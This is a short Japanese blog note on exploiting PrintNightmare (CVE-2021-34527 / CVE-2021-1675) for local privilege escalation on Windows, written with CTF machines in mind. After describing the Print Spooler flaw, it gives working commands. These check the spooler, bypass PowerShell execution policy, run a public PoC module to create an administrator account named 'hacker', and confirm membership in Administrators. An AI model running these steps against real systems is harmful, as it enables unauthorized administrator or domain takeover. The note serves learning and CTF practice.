Ch4n24n のアイコン

Ch4n24n

PrintNightmare:プリンタードライバを入れて SYSTEM を取る(CVE-2021-34527)

2026/11/04 公開2026/11/07 更新約4分Notes

PrintNightmareCVE-2021-34527CVE-2021-1675Print_SpoolerActive_DirectoryPrivilege_EscalationWindows

使いどころ

  • Windows 環境でローカルの一般ユーザーから管理者へ昇格したいとき(CVE-2021-34527「PrintNightmare」)

脆弱性について

  • Windows で印刷を受け持つサービス Print Spooler(spoolsv.exe、SYSTEM で動く)に、一般ユーザーの権限で任意のプリンタードライバ(DLL)を入れられる脆弱性
  • 入れた DLL は SYSTEM で読み込まれる。ドメインコントローラーで Print Spooler が動いていれば、ドメインの一般ユーザーからドメイン全体を取られる

CVE

CVE中身
CVE-2021-16752021-06-08 に修正
最初はローカルの権限昇格とされ、06-21 にリモートコード実行へ訂正された
CVE-2021-345272021-07-01 に公表
PrintNightmare と呼ばれる方(Microsoft は「似ているが別」としている)

当たる範囲

  • 当時の Microsoft は「すべての Windows が対象」としている。2021年7月の更新より前の Windows は、クライアントもサーバーも対象となる

手順

1. Print Spooler が起動していることを確認

以下のいずれかの方法で、Print Spooler の起動を確かめることが可能

PowerShell で確認する場合

PS C:\> ls \\localhost\pipe\spoolss
 
    Directory: \\localhost\pipe
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss

CMD で確認する場合

C:\> sc query spooler
 
...SNIP...
 
STATE : 4 RUNNING

2. PowerShell の実行ポリシーをバイパス

PowerShell で PoC を実行可能にするために行う

PS C:\> Set-ExecutionPolicy Bypass -Scope Process

3. PoC を実行

PoC: https://github.com/calebstewart/CVE-2021-1675

PS C:\> Import-Module .\CVE-2021-1675.ps1
PS C:\> Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "PrintIt"

本コマンドを実行することで、管理者権限を持った「hacker」ユーザーが爆誕する

4. 管理者グループに所属していることを確認

PS C:\> net user hacker
 
...SNIP...
 
Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.

参考

おわりに

  • CTF の問題として出題されたのが 2021年7月以降なのに、侵入した Windows マシンの最終アップデート日が 2021年7月より前だった場合、この脆弱性で権限昇格することを期待されていることが多い気がします(主観)
次に読む
© 2026 Ch4n24n